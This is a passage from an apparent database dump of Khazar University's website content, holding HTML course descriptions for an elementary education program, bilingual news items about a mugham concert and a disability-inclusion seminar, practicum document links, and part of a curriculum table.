techniques. Studio work and exhibition.</p><div>&nbsp;</div><p><strong>AZLL 101: Azerbaijani Language (University Requirement) (6 credits)</strong></p><p><strong>Prerequisite: High School Azerbaijani language</strong></p><p>This course prepares students for analyzing academic texts and technical material in Azerbaijani. Advanced skills in academic and creative writing, reading comprehension are honed using academic literature across various disciplines. The topics cover culture, environment, customs and traditions, history, economics, etc.</p><div>&nbsp;</div><p><strong>AZLL 102.&nbsp; Introduction to Writing (6&nbsp;credits)</strong></p><p><strong>Prerequisite AZLL 101.</strong></p><p>Writing Strategy. Planning and organizing source material for writing, revising, editing and proofreading. Summaries, critiques and syntheses of texts. Essay and creative writing. Academic and Business writing. Prose style.&nbsp;</p><div>&nbsp;</div><p><strong>CMS 101 : Introduction to Computer Science (6&nbsp;credits)</strong></p><p><strong>Prerequisite: NONE</strong></p><p>Students are introduced to the evolution of computers, the components of a computer system, computer hardware and software, file organization, data communications, operating systems, the concept of algorithm, text processor.</p><p>Fundamentals and functions of the Internet.</p><div>&nbsp;</div><p><strong>DESN 103: Painting (6&nbsp;credits)</strong></p><p><strong>Prerequisite: DESN 102</strong></p><p>Basic study, studio practice, and critique. Exploration of concepts, materials, techniques, and historical examples, using acrylics, gouache, pastel, and mixed-media. Emphasis on individual concept and content.</p><div>&nbsp;</div><p><strong>DESN 201: Graphics Design (6&nbsp;credits)</strong></p><p><strong>Prerequisite: DESN 101</strong></p><p>Emphasis on design, use, and application of creative visual images and concepts in communication. Two-dimensional and tree-dimensional problems.</p><div>&nbsp;</div><p><strong>EDU 105: Introduction to Education (6&nbsp;credits)</strong></p><p><strong>Prerequisite: NONE</strong></p><p>Social sciences overview of major policy issues in public education. General introduction to social sciences research in analysis of educational policy issues and to methods for exploring major policy issues. Topics include school finance, equal educational opportunity, testing and evaluation, teacher compensation, and school law.</p><div>&nbsp;</div><p><strong>EDU 203:&nbsp;&nbsp; Bilingual Education (6&nbsp;credits)</strong></p><p><strong>Prerequisite: NONE</strong></p><p>Educational principles of bilingual education. Teaching methods in bilingual classroom.</p><div>&nbsp;</div><p><strong>EDU 206: Basics of Dephectology (6&nbsp;credits)</strong></p><p><strong>Prerequisite: consent of the instructor</strong></p><p>Comprehensive survey of mental retardation, with emphasis on etiology, characteristics, diagnosis, institutionalization, social and family relationship, multicultural education, and historical aspects of mental retardation. Comprehensive survey of learning disabilities with emphasis on characteristics, theoretical explanations and models, assessments, and placement alternatives.</p><div>&nbsp;</div><p><strong>EDU 207: Information Technology and Elementary Education (6&nbsp;credits)</strong></p><p><strong>Prerequisite: NONE</strong></p><p>Computers and the Internet. Elementary methods of gathering and processing of information.</p><div>&nbsp;</div><p><strong>EDU 208: Drama in the Classroom (6&nbsp;credits)</strong></p><p><strong>Prerequisite: NONE</strong></p><p>Methods of development of drama in the classroom. Search for children’s drama within national literature as well as other literatures. Distribution of roles and training methods. Design of scene.</p><div>&nbsp;</div><p><strong>EDU 217: Special Education (6&nbsp;credits)</strong></p><p><strong>Prerequisite: NONE</strong></p><p>Educational and other characteristics and needs of children and youth who deviate from the norm in physical, mental, social, or communication abilities. Theories of curriculum; models of teaching, instructional strategies, evaluation of student progress and service delivery; issues and trends in special education.</p><div>&nbsp;</div><p><strong>EDU 276: Computer Applications in Education (6&nbsp;credits)</strong></p><p><strong>Prerequisite: CMS 101</strong></p><p>A practical course on computer applications as a problem-solving tool. Topics include word processing, electronic spreadsheets, database management, graphics and telecommunication.</p><div>&nbsp;</div><p><strong>EDU 300: Foundations of Vocational Education (6&nbsp;credits)</strong></p><p><strong>Prerequisite: Consent of the instructor</strong></p><p>History of vocational legislation, principles and practices in the national and local levels. Knowledge of work analysis, planning, and organizing of vocational content for instruction.</p><div>&nbsp;</div><p><strong>EDU 302: Curriculum, Instruction, and Assessment Strategies (4 credits)</strong></p><p><strong>Prerequisite: NONE</strong></p><p>Social and psychological foundations of curriculum. Theories of curriculum develop ment, modern trends, various assessment strategies within and across teaching disciplines. Instructional inquiry examined within classroom management, philosophical foundations, exceptionality, technology, multi-cultural issues, etc.</p><div>&nbsp;</div><p><strong>EDU 303: Foundation of Physical Education (6&nbsp;credits).</strong></p><p><strong>Prerequisite: NONE</strong></p><p>Examines the philosophical, historical, sociological and psychological foundations of physical education. Study of procedures and techniques in physical education.</p><div>&nbsp;</div><p><strong>EDU 307: The Teacher and the Law (6&nbsp;credits)</strong></p><p><strong>Prerequisite: EDF 105</strong></p><p>Analysis of legal rights and responsibilities in the classroom, laws, related to liability, contract, records, discipline, due process, and schools.</p><div>&nbsp;</div><p><strong>EDU 311: Games in Elementary and Middle Education (6&nbsp;credits)</strong></p><p><strong>Prerequisite: DAE 204</strong></p><p>The study of the scope, structure, and sequence of games in Grades 1-6. Emphasis on educational games and skill progression for selected sports. Field experience required.</p><div>&nbsp;</div><p><strong>EDU 322: Integrated Language and Literacy (6&nbsp;credits)</strong></p><p><strong>Prerequisite: NONE</strong></p><p>Approaches to the integration of reading, writing, speaking, and listening across the curriculum in collaborative, student-centered environment. Focuses on the child in her/his life contexts, including home, school, and community.</p><div>&nbsp;</div><p><strong>EDU 325: Elementary Art Education (6&nbsp;credits)</strong></p><p><strong>Prerequisite: NONE</strong></p><p>Curricula, specific methods, and media in teaching elementary art. The course presents tools designed to help elementary school teacher in creative growth of children.</p><div>&nbsp;</div><p><strong>EDU 327: Elementary Mathematics Education (6&nbsp;credits)</strong></p><p><strong>Prerequisite: MATH 235, 236</strong></p><p>Content, methodology, and instructional materials for elementary school mathematics. The course emphasizes use of knowledge from learning theory, motivation, readiness and evaluation. Students deal with selecting and presenting mathematical content for elementary school children.</p><div>&nbsp;</div><p><strong>EDU 328: Elementary Social Studies Education (6&nbsp;credits)</strong></p><p><strong>Prerequisite: NONE</strong></p><p>Objectives, materials of instruction, organization and content of selected courses of the social studies in elementary school program. Adaptation of modern methods to specific school conditions.</p><div>&nbsp;</div><p><strong>EDU 329: Elementary Science Education (6&nbsp;credits)</strong></p><p><strong>Prerequisite: NONE</strong></p><p>Specific methods, research, curricula, and media in teaching elementary science.</p><div>&nbsp;</div><p><strong>EDU 350: Elementary Health and Physical Education (6&nbsp;credits)</strong></p><p><strong>Prerequisite: NONE</strong></p><p>Curricula, specific methods, and media in teaching elementary health and physical education.</p><div>&nbsp;</div><p><strong>EDU 360: Children\'s Dance (6&nbsp;credits)</strong></p><p><strong>Prerequisite: NONE</strong></p><p>The teaching of contemporary national and others dance. Integrating dance into the curriculum. Basic principles and techniques for teaching dance to elementary school children.</p><div>&nbsp;</div><p><strong>EDU 381: Elementary School Music Methods (6&nbsp;credits)</strong></p><p><strong>Prerequisite: NONE</strong></p><p>Designed to help elementary teachers learn the fundamentals of music and to provide specific and practical suggestions for teaching music skills to children. Students are actively involved in making music and learning to teach music.</p><div>&nbsp;</div><p><strong>EDU 400: Instrumentals and Teaching Elementary Music (6&nbsp;credits)</strong></p><p><strong>Prerequisite: consent of the instructor</strong></p><p>Knowledge and skills for development for the development and implementation of music experience in the elementary curriculum for the elementary classroom teacher.</p><div>&nbsp;</div><p><strong>EDU 402: Methods of Teaching Descriptive Art (6&nbsp;credits)</strong></p><p><strong>Prerequisite: consent of the instructor</strong></p><p>Modern teaching methods and techniques of teaching descriptive art. Selected topics in theoretical, critical and historical methodology and their relevance to practicing descriptive art teaching techniques.</p><div>&nbsp;</div><p><strong>EDU 403: Methods of Teaching Mother Tongue (6&nbsp;credits)</strong></p><p><strong>Prerequisite: consent of the instructor</strong></p><p>Modern teaching methods and techniques of teaching Azerbaijani. The main emphasis is on communicative role of the four skills: reading, writing, listening and speaking are taught within the frame topics. Be in complex in nature this course covers the basis of Azerbaijani.</p><div>&nbsp;</div><p><strong>EDU 404: Basics of Hygiene and Sanitation (6&nbsp;credits)</strong></p><p><strong>Prerequisite: consent of the instructor</strong></p><p>It covers the study of assessment principals related to school hygiene and sanitation. School hygiene and sanitary norms and development of hygiene and sanitary skills and techniques are taught.</p><div>&nbsp;</div><p><strong>EDU 405: Methods of Teaching Mathematics (6&nbsp;credits)</strong></p><p><strong>Prerequisite: consent of the instructor</strong></p><p>Modern teaching methods and techniques of teaching mathematics. Basics concepts of Algebra, equation, systems of linear equations inequalities, elementary geometry, functions and graphing, inverse functions are touched upon in this course.</p><div>&nbsp;</div><p><strong>EDU 406: Teaching of Natural Sciences (6&nbsp;credits)</strong></p><p><strong>Prerequisite: consent of the instructor</strong></p><p>Modern teaching methods and techniques of natural sciences. Role of natural sciences in the development of children. Overview of contemporary teaching methods and techniques. Readings and discussions.</p><div>&nbsp;</div><p><strong>EDU 407: Student Teaching Internship (9&nbsp;credits)</strong></p><p><strong>Prerequisite: Successful completion of all program requirements</strong></p><p>Required of undergraduate elementary education majors as culmination of program. Provides experience in an elementary school where the student assumes all teaching responsibilities for a minimum of ten weeks.</p><div>&nbsp;</div><p><strong>EDU 408: Teaching Methods of Azerbaijani Language (6&nbsp;credits)</strong></p><p><strong>Prerequisite: AZLL 206</strong></p><p>This course outlines the method of teaching Azerbaijani lessons, various educational approaches to phonetics, morphology and syntax. It also provides information on orthography, orthoepy, the use of punctuation marks, and organizational approaches to extra-curriculum activities on Azerbaijani language. It offers visual, methodical and organizational works on Azerbaijani, illustrates the techniques of the students’ speech development and significance of stylistics studies.</p><div>&nbsp;</div><p><strong>EDU 409: Teaching Methods of Azerbaijani Literature (6&nbsp;credits)</strong></p><p><strong>Prerequisite: AZLL 307</strong></p><p>Based on the latest achievements in pedagogy, psychology, logic, and philology, this course covers methodical issues, such as, ways of teaching literary works, carrying out literary writing, etc. Content, principles, rules, methods and means connected with teaching of Azerbaijani literature are studied. The main objective of the course is to give students brief overview of the history of literature and works of leading literary figures, study methodologies for analyzing literary works, and explore main issues studied in the theory of literature and literary critics.</p><div>&nbsp;</div><p><strong>EDU 411: Teaching Methods of Computer Science (6&nbsp;credits)</strong></p><p><strong>Prerequisite: CMS 101, EDU 276</strong></p><p>A practical course on how to use computers in education. Topics include graphics, animations, Internet applications used in education. Computer assisted instruction. Computer assisted learning. Computer managed instruction. Computer administered education. Components of computer hardware, software, and courseware. Application of microcomputer in education.</p><div>&nbsp;</div><p><strong>EDU 468: Historical and Philosophical Foundations of Education (6&nbsp;credits)</strong></p><p><strong>Prerequisite: NONE</strong></p><p>Historical development of education. Philosophical theories that bear upon educational principles, policy making, and practice.&nbsp; Events, leaders, ideas, and movements underlying development of education. History and philosophy of education through various periods and geographical areas.</p><div>&nbsp;</div><p><strong>PSYC 101. Introduction to Psychology. Child Development (6&nbsp;credits)</strong></p><p><strong>Prerequisite: None</strong></p><p>Basic psychological processes and principles of human behavior. Interacting with other people and groups. Memory,&nbsp; perception, motivation. Interpretations of individual differences and development.&nbsp; Nature of children\'s&nbsp; minds and relations of childhood and adulthood. Cognitive, language, psycho-social and moral development. Laboratory experience. Direct contact with children.</p><div>&nbsp;</div><p><strong>PSYC 304: Basics of Educational Psychology (6&nbsp;credits)</strong></p><p><strong>Prerequisite: Consent of instructor</strong></p><p>Application of principles for understanding individual differences, learning, adjustment, classroom environments, and assessment to instructional and educational issues. Challenges of diversity and teacher effectiveness are addressed.</p><div>&nbsp;</div><p><strong>SCI 101: The Earth an Space Science (6&nbsp;credits)</strong></p><p><strong>Prerequisite: NONE</strong></p><p>Elements of Earth structure. Plants and Animals. Landscape. Atmosphere. The Sun and planets. The origin of Universe. Energy and matter.</p><div>&nbsp;</div><p><strong>SOC 417: Sociology of Education (6&nbsp;credits)</strong></p><p><strong>Prerequisite: consent of the instructor</strong></p><p>Study of education as a social process and social institution; the relationship between education and other social institutions; analysis of the social functions of education and the socialization process; school and community; school as a social institution</p>  <br></div>'),(2379,1444,'az','Amerikalı muğam ustası Bakıda konsert verdi','2016-cı il oktyabrın 19-da Bakı Beynəlxalq Muğam Mərkəzində amerikalı musiqiçi və muğam ustası Jeffrey Werbock-un iştirakı ilə konsert proqramı...','<p>2016-cı il oktyabrın 19-da Bakı Beynəlxalq Muğam Mərkəzində\r\namerikalı musiqiçi və muğam ustası Jeffrey Werbock-un iştirakı ilə konsert\r\nproqramı və Azərbaycan musiqi sənəti haqqında muzakirələr baş tutdu. Xəzər\r\nUniversitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor\r\nHamlet İsaxanlı xarici ölkə musiqilərinin Azərbaycanda və Azərbaycan\r\nmusiqisinin Qərb ölkəkərində öyrənilməsi, sevilməsi və ifası haqqında danışdı,\r\nbu sahədə görülən və görülməsi arzu olunan işləri vurğuladı.&nbsp;</p>'),(2384,1446,'en','Practicum','Practicum','<p><a href=\"http://www.khazar.org/files/education/gundelik%20musahide%20formasi.doc\"><strong>Daily Observation Form</strong></a></p><p><a href=\"http://www.khazar.org/files/education/Syllabus_practicum.doc\"><strong>Syllabi</strong></a></p>'),(2385,1446,'az','Passiv pedaqoji təcrübə','Pedaqoji təcrübə','<p><a href=\"http://www.khazar.org/files/education/gundelik%20musahide%20formasi.doc\"><strong>Gündəlik müşahidə forması</strong></a></p><p><a href=\"http://www.khazar.org/files/education/Sillabus_Passiv_Pedaqoji_T%C9%99cr%C3%BCb%C9%99.doc\"><strong>Sillabus</strong></a></p>'),(2386,1447,'az','Aralıq imtahanının cədvəli (Payız 2018)','Aralıq imtahanının cədvəli (Payız 2017)','<a href=\"http://www.khazar.org/files/education/Mid-terms%20exams1(Fall)18-19.xlsx\">Aralıq imtahanının cədvəli (Payız 2018)</a>'),(2381,1444,'en','Mugham Night','On October 19, 2016, the International Mugham Center of Azerbaijan hosted a Mugham show by Jeffrey Werbock, American musician, and Mugham singer...','<p>On\r\nOctober 19, 2016, the International Mugham Center of Azerbaijan hosted a Mugham\r\nshow by Jeffrey Werbock, American musician, and Mugham singer. A discussion\r\nsession on Azerbaijani music followed. Professor Hamlet Isakhanli, the founder\r\nof Khazar University and Chairman of its Board of Directors and Trustees,\r\nattended the show and spoke about intercultural exchanges in music, the study,\r\nand promotion of Azerbaijani music in the West, as well as specifically\r\nstressed the strategies for further advancements.&nbsp;</p>'),(2402,1455,'az','ESFİDİP layihəsi çərçivəsində inzibati işçilər üçün təlim-seminar keçirildi','2016-ci il oktyabrın 21-də “Əlilliyi olan şəxslərin Azərbaycanın ali təhsil müəssisələrinə inteqrasiyasının təməlinin qoyulması” (ESFİDİP) Tempus layihəsi çərçivəsində Xəzər Universitetinin...','<p>2016-ci il oktyabrın 21-də “Əlilliyi olan şəxslərin\r\nAzərbaycanın ali təhsil müəssisələrinə inteqrasiyasının təməlinin qoyulması”\r\n(ESFİDİP) Tempus layihəsi çərçivəsində Xəzər Universitetinin inzibati işçiləri\r\nüçün təlim-seminar keçirildi. Təlim-seminar zamanı Xəzər Universiteti Əlilliyi\r\nolan Tələbələr üçün Mərkəzin koordinatoru Rima Məmmədova tələbələrə əlillik, əlilliyi\r\nolan tələbələrlə etik davranış və düzgün ünsiyyət, inkluziv təhsil, ESFİDİP\r\nTempus layihəsi, Əlilliyi olan Tələbələr üçün Mərkəz və könüllülük haqqında\r\ngeniş məlumat verdi.</p>\r\n<p>Təlim-seminarda Təhsil fakültəsinin dekanı Elza Səmədova,\r\nBeynəlxalq Əlaqələr Ofisinin direktoru Turan Cəfərova, Mühəndislik və tətbiqi\r\nelmlər fakültəsinin dekan müavini Vəfa Aslanova, Təhsil fakültəsinin dekan\r\nassistenti Aysel Qasımova, İqtisadiyyat və menecment fakültəsinin dekan\r\nmüavinin assistenti Bahar İmanova, Humanitar və sosial elmlər fakültəsinin\r\ndekan assistenti Nüşabə Tağıyeva, Kitabxana İnformasiya Mərkəzinin\r\nkitabxanaçısı Cəmilə Quliyeva və Xəzər Universitetinin dizayneri Sevinc Şəfiyeva\r\niştirak etdilər. </p>\r\n<p>Təlim-seminar zamanı iştirakçılar mövzu barədə öz\r\nfikirlərini və təkliflərini bildirdilər.</p>'),(889,586,'az','Pedaqoji Təcrübə','Pedaqoji Təcrübə','<p><strong><a href=\"http://www.khazar.org/files/pdf/Syllabus_Practicum.pdf\">Passiv pedaqoji təcrübənin tədris planı</a></strong></p><p><strong><a href=\"http://www.khazar.org/files/pdf/Daily_observation_form_Practicum.pdf\">Gündəlik müşahidə forması</a><a href=\"http://www.khazar.org/files/gundelik%20musahide%20formasi.doc\"></a></strong></p><p><strong><a href=\"http://www.khazar.org/files/pdf/Weekly_report_practicum.pdf\">Həftəlik yazılı hesabat</a><a href=\"http://www.khazar.org/files/h%C9%99ft%C9%99lik%20yaz%C4%B1l%C4%B1%20hesabat.doc\"></a></strong></p><p><strong><a href=\"http://www.khazar.org/files/edu_depart/syllabus.pdf\">Syllabus&nbsp;internship 2017</a></strong><br></p><p><strong><strong><a href=\"http://www.khazar.org/files/pdf/observation_list.pdf\">Dərs dinləmə vərəqi&nbsp;-&nbsp;aktiv praktika</a></strong></strong></p>'),(890,586,'en','Practicum','Practicum','<p><strong><a href=\"http://www.khazar.org/files/edu_depart/Syllabus_practicum%20(1).pdf\">Syllabus Practicum</a></strong></p><p><a href=\"http://www.khazar.org/files/pdf/Daily_observation_form_Practicum.pdf\"><strong><strong></strong></strong><strong></strong></a><strong><a href=\"http://www.khazar.org/files/pdf/Daily_observation_form_Practicum.pdf\">Daily Observation Form&nbsp;Practicum</a></strong></p><p><a href=\"http://www.khazar.org/files/pdf/observation_list.pdf\"><strong></strong><strong></strong></a><strong><a href=\"http://www.khazar.org/files/pdf/observation_list.pdf\">Observation List</a></strong></p><p><a href=\"http://www.khazar.org/files/edu_depart/syllabus.pdf\"><strong></strong><strong></strong></a><strong><a href=\"http://www.khazar.org/files/edu_depart/syllabus.pdf\">Syllabus Internship 2017</a></strong></p><p><a href=\"http://www.khazar.org/files/edu_depart/Teacher%2527s%20%20weekly%20evaluation.pdf\"><strong></strong><strong></strong></a><strong><a href=\"http://www.khazar.org/files/edu_depart/Teacher%2527s%20%20weekly%20evaluation.pdf\">Weekly Report Practicum</a></strong></p>'),(4727,2804,'az','Xəzər Universiteti “Xəbər-News” qrupunun universitetin vebsaytlarında yerləşdirilmiş xəbərlərin sayı haqqında müqayisəli məlumatı','Xəzər Universiteti “Xəbər-News” qrupunun universitetin vebsaytlarında yerləşdirilmiş xəbərlərin...','<p><strong>Xəzər Universitetinin vebsaytı: 2008 - 2017-ci illər</strong></p><p>(<a href=\"http://www.khazar.org\"><strong><em>www.khazar.org</em></strong></a>)</p><p>2008 – 97; 2009 – 149; 2010 – 274; 2011 – 357; 2012 – 476; 2013 – 535; 2014 – 610; 2015 – 700; 2016 – 547; 2017 – 702.</p><p>***</p><p><strong>Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlının vebsaytı: 2009 - 2017 - ci illər&nbsp;</strong></p><p><strong></strong>(<a href=\"http://www.hisaxanli.org\"><strong><em>www.hisaxanli.org</em></strong></a>)</p><p>2009 – 81; 2010 – 125; 2011 – 162; 2012 – 144; 2013 – 156; 2014 – 159; 2015 – 146; 2016 – 158; 2017 – 126.</p>'),(4728,2805,'az','“Dünya” jurnalının noyabr nömrəsi çapdan çıxıb','Xəzər Universiteti “Dünya” məktəbinin aylıq nəşri olan “Dünya” jurnalının 2017-ci il noyabr nömrəsi...','<p>Xəzər Universiteti “Dünya” məktəbinin aylıq nəşri olan “Dünya” jurnalının 2017-ci il noyabr nömrəsi (21-ci nömrə) Xəzər Universitetinin mətbəəsində çapdan çıxmışdır.</p>'),(4729,2802,'en','Final Exams of the 1st  Semester at Khazar University – PHOTO SESSION','Final Exams of the 1st  Semester at Khazar University...',''),(891,587,'az','Bütün Proqramlar','Bütün Proqramlar','<p>Təhsil Departamenti&nbsp;bakalavriatura və magistratura pillələri üzrə təhsil təklif edir.</p><br><table cellpadding=\"0\" cellspacing=\"0\" width=\"1074\" style=\"\" border-collapse:collapse;width:807pt\";border-width:1px;border-style:solid\"=\"\">\r\n <tbody><tr height=\"20\" style=\"height:15.0pt\">\r\n  <td colspan=\"9\" rowspan=\"2\" height=\"40\" class=\"xl98\" width=\"1074\" style=\"\" height:30.0pt;width:807pt\"\"=\"\"><h2><strong>050108 – İbtidai sinif&nbsp;müəllimliyi</strong></h2></td>\r\n </tr>\r\n <tr height=\"20\" style=\"height:15.0pt\">\r\n </tr>\r\n <tr height=\"20\" style=\"height:15.0pt\">\r\n  <td colspan=\"9\" height=\"20\" class=\"xl97\" style=\"height:15pt;color:#003399\"><h3><strong>1-ci il</strong></h3></td>\r\n </tr>\r\n <tr height=\"20\" style=\"height:15.0pt\">\r\n  <td rowspan=\"2\" height=\"40\" class=\"xl95\" style=\"height:30pt;font-size:large\"><strong>Kod</strong></td>\r\n  <td rowspan=\"2\" class=\"xl77\" width=\"216\" style=\"width:162pt;font-size:large\"><strong>Payız</strong></td>\r\n  <td rowspan=\"2\" class=\"xl77\" width=\"46\" style=\"width:35pt;font-size:large\"><strong>KU</strong></td>\r\n  <td rowspan=\"2\" class=\"xl99\" width=\"140\" style=\"width:105pt;font-size:large\"><strong>Prerekvizit</strong></td>\r\n  <td class=\"xl78\" style=\"font-size:large\"><strong>&nbsp;</strong></td>\r\n  <td rowspan=\"2\" class=\"xl95\" style=\"font-size:large\"><strong>Kod</strong></td>\r\n  <td rowspan=\"2\" class=\"xl100\" style=\"font-size:large\"><strong>Yaz</strong></td>\r\n  <td rowspan=\"2\" class=\"xl100\" style=\"font-size:large\"><strong>KU</strong></td>\r\n  <td rowspan=\"2\" class=\"xl95\" style=\"font-size:large\"><strong>Prerekvizit</strong></td>\r\n </tr>\r\n <tr height=\"20\" style=\"height:15.0pt\">\r\n  <td height=\"20\" class=\"xl78\" style=\"height:15.0pt\">&nbsp;</td>\r\n </tr>\r\n <tr height=\"20\" style=\"height:15.0pt\">\r\n  <td height=\"20\" class=\"xl70\" style=\"height:15.0pt;border-top:none\">ENGL 101</td>\r\n  <td class=\"xl70\" style=\"border-top:none;border-left:none\">İngilis dilinin\r\n  əsasları-1</td>\r\n  <td class=\"xl70\" style=\"border-top:none;border-left:none\">4</td>\r\n  <td class=\"xl70\" style=\"border-top:none;border-left:none\">yox</td>\r\n  <td class=\"xl78\">&nbsp;</td>\r\n  <td class=\"xl68\" style=\"border-top:none\">ENGL 102</td>\r\n  <td class=\"xl69\" width=\"252\" style=\"border-top:none;border-left:none;width:189pt\">İngilis\r\n  dilinin əsasları-2</td>\r\n  <td class=\"xl69\" width=\"33\" style=\"border-top:none;border-left:none;width:25pt\">4</td>\r\n  <td class=\"xl70\" style=\"border-top:none;border-left:none\">ENGL 101</td>\r\n </tr>\r\n <tr height=\"20\" style=\"height:15.0pt\">\r\n  <td height=\"20\" class=\"xl72\" width=\"86\" style=\"\" height:15.0pt;border-top:none;width:65pt\"\"=\"\">ASC 201&nbsp;</td>\r\n  <td class=\"xl72\" width=\"216\" style=\"border-top:none;border-left:none;width:162pt\">Azərbaycan\r\n  mədəniyyəti</td>\r\n  <td class=\"xl70\" style=\"border-top:none;border-left:none\">3</td>\r\n  <td class=\"xl70\" style=\"border-top:none;border-left:none\">yox</td>\r\n  <td class=\"xl78\">&nbsp;</td>\r\n  <td class=\"xl68\" style=\"border-top:none\">AZH 150&nbsp;</td>\r\n  <td class=\"xl71\" width=\"252\" style=\"border-top:none;border-left:none;width:189pt\">Azərbaycan\r\n  tarixi</td>\r\n  <td class=\"xl71\" width=\"33\" style=\"border-top:none;border-left:none;width:25pt\">3</td>\r\n  <td class=\"xl70\" style=\"border-top:none;border-left:none\">yox</td>\r\n </tr>\r\n <tr height=\"20\" style=\"height:15.0pt\">\r\n  <td height=\"20\" class=\"xl70\" style=\"height:15.0pt;border-top:none\">AZLL 106</td>\r\n  <td class=\"xl70\" style=\"border-top:none;border-left:none\">Müasir azərbaycan\r\n  dili-1</td>\r\n  <td class=\"xl70\" style=\"border-top:none;border-left:none\">3</td>\r\n  <td class=\"xl70\" style=\"border-top:none;border-left:none\">yox</td>\r\n  <td class=\"xl78\">&nbsp;</td>\r\n  <td class=\"xl70\" style=\"border-top:none\">EDU 101</td>\r\n  <td class=\"xl70\" style=\"border-top:none;border-left:none\">Təhsilə giriş&nbsp;</td>\r\n  <td class=\"xl70\" style=\"border-top:none;border-left:none\">3</td>\r\n  <td class=\"xl71\" width=\"166\" style=\"border-top:none;border-left:none;width:125pt\">yox</td>\r\n </tr>\r\n <tr height=\"20\" style=\"height:15.0pt\">\r\n  <td height=\"20\" class=\"xl72\" width=\"86\" style=\"\" height:15.0pt;border-top:none;width:65pt\"\"=\"\">AZLL 102</td>\r\n  <td class=\"xl72\" width=\"216\" style=\"border-top:none;border-left:none;width:162pt\">Yazıya\r\n  giriş&nbsp;</td>\r\n  <td class=\"xl70\" style=\"border-top:none;border-left:none\">3</td>\r\n  <td class=\"xl70\" style=\"border-top:none;border-left:none\">yox</td>\r\n  <td class=\"xl78\">&nbsp;</td>\r\n  <td class=\"xl70\" style=\"border-top:none\">AZLL 108</td>\r\n  <td class=\"xl70\" style=\"border-top:none;border-left:none\">Müasir azərbaycan\r\n  dili-2</td>\r\n  <td class=\"xl70\" style=\"border-top:none;border-left:none\">3</td>\r\n  <td class=\"xl70\" style=\"border-top:none;border-left:none\">AZLL 106</td>\r\n </tr>\r\n <tr height=\"20\" style=\"height:15.0pt\">\r\n  <td height=\"20\" class=\"xl72\" width=\"86\" style=\"\" height:15.0pt;border-top:none;width:65pt\"\"=\"\">CMS 101</td>\r\n  <td class=\"xl72\" width=\"216\" style=\"border-top:none;border-left:none;width:162pt\">Kompüter\r\n  elminə giriş</td>\r\n  <td class=\"xl72\" width=\"46\" style=\"border-top:none;border-left:none;width:35pt\">3</td>\r\n  <td class=\"xl70\" style=\"border-top:none;border-left:none\">yox</td>\r\n  <td class=\"xl78\">&nbsp;</td>\r\n  <td class=\"xl72\" width=\"83\" style=\"border-top:none;width:62pt\">AZLL105</td>\r\n  <td class=\"xl72\" width=\"252\" style=\"border-top:none;border-left:none;width:189pt\">Azərbaycan\r\n  ədəbiyyatı&nbsp;</td>\r\n  <td class=\"xl70\" style=\"border-top:none;border-left:none\">3</td>\r\n  <td class=\"xl72\" width=\"166\" style=\"border-top:none;border-left:none;width:125pt\">yox</td>\r\n </tr>\r\n <tr height=\"20\" style=\"height:15.0pt\">\r\n  <td height=\"20\" class=\"xl70\" style=\"height:15.0pt;border-top:none\">&nbsp;</td>\r\n  <td class=\"xl93\" width=\"216\" style=\"border-top:none;border-left:none;width:162pt\"><strong>Kredit</strong></td>\r\n  <td class=\"xl79\" width=\"46\" style=\"border-top:none;border-left:none;width:35pt\">16</td>\r\n  <td class=\"xl80\" style=\"border-top:none;border-left:none\">&nbsp;</td>\r\n  <td class=\"xl81\">&nbsp;</td>\r\n  <td class=\"xl68\" style=\"border-top:none\">&nbsp;</td>\r\n  <td class=\"xl93\" width=\"252\" style=\"border-top:none;border-left:none;width:189pt\"><strong>Kredit</strong></td>\r\n  <td class=\"xl65\" style=\"border-top:none;border-left:none\">16</td>\r\n  <td class=\"xl70\" style=\"border-top:none;border-left:none\">&nbsp;</td>\r\n </tr>\r\n <tr height=\"20\" style=\"height:15.0pt\">\r\n  <td colspan=\"9\" height=\"20\" class=\"xl96\" style=\"height:15.0pt\"><h3><strong>2-ci il</strong></h3></td>\r\n </tr>\r\n <tr height=\"20\" style=\"height:15.0pt\">\r\n  <td rowspan=\"2\" height=\"40\" class=\"xl95\" style=\"height:30pt;font-size:large\"><strong>Kod</strong></td>\r\n  <td rowspan=\"2\" class=\"xl94\" width=\"216\" style=\"width:162pt;font-size:large\"><strong>Payız</strong></td>\r\n  <td rowspan=\"2\" class=\"xl94\" width=\"46\" style=\"width:35pt;font-size:large\"><strong>KU</strong></td>\r\n  <td rowspan=\"2\" class=\"xl82\" width=\"140\" style=\"width:105pt;font-size:large\"><strong>Prerekvizit</strong></td>\r\n  <td class=\"xl66\" style=\"font-size:large\"><strong>&nbsp;</strong></td>\r\n  <td rowspan=\"2\" class=\"xl95\" style=\"font-size:large\"><strong>Kod</strong></td>\r\n  <td rowspan=\"2\" class=\"xl94\" width=\"252\" style=\"width:189pt;font-size:large\"><strong>Yaz</strong></td>\r\n  <td rowspan=\"2\" class=\"xl94\" width=\"33\" style=\"width:25pt;font-size:large\"><strong>KU</strong></td>\r\n  <td rowspan=\"2\" class=\"xl82\" width=\"166\" style=\"width:125pt;font-size:large\"><strong>Prerekvizit</strong></td>\r\n </tr>\r\n <tr height=\"20\" style=\"height:15.0pt\">\r\n  <td height=\"20\" class=\"xl66\" style=\"height:15.0pt\">&nbsp;</td>\r\n </tr>\r\n <tr height=\"20\" style=\"height:15.0pt\">\r\n  <td height=\"20\" class=\"xl70\" style=\"height:15.0pt;border-top:none\">ENGL 103</td>\r\n  <td class=\"xl71\" width=\"216\" style=\"border-top:none;border-left:none;width:162pt\">Akademik\r\n  ingilis dili&nbsp;</td>\r\n  <td class=\"xl71\" width=\"46\" style=\"border-top:none;border-left:none;width:35pt\">4</td>\r\n  <td class=\"xl68\" style=\"border-top:none;border-left:none\">ENGL 102</td>\r\n  <td class=\"xl66\">&nbsp;</td>\r\n  <td class=\"xl70\" style=\"border-top:none\">ENGL 216</td>\r\n  <td class=\"xl71\" width=\"252\" style=\"border-top:none;border-left:none;width:189pt\">Xüsusi\r\n  məqsədlər üçün ingilis dilini</td>\r\n  <td class=\"xl71\" width=\"33\" style=\"border-top:none;border-left:none;width:25pt\">3</td>\r\n  <td class=\"xl70\" style=\"border-top:none;border-left:none\">ENGL 103</td>\r\n </tr>\r\n <tr height=\"20\" style=\"height:15.0pt\">\r\n  <td height=\"20\" class=\"xl72\" width=\"86\" style=\"\" height:15.0pt;border-top:none;width:65pt\"\"=\"\">PHIL 101</td>\r\n  <td class=\"xl72\" width=\"216\" 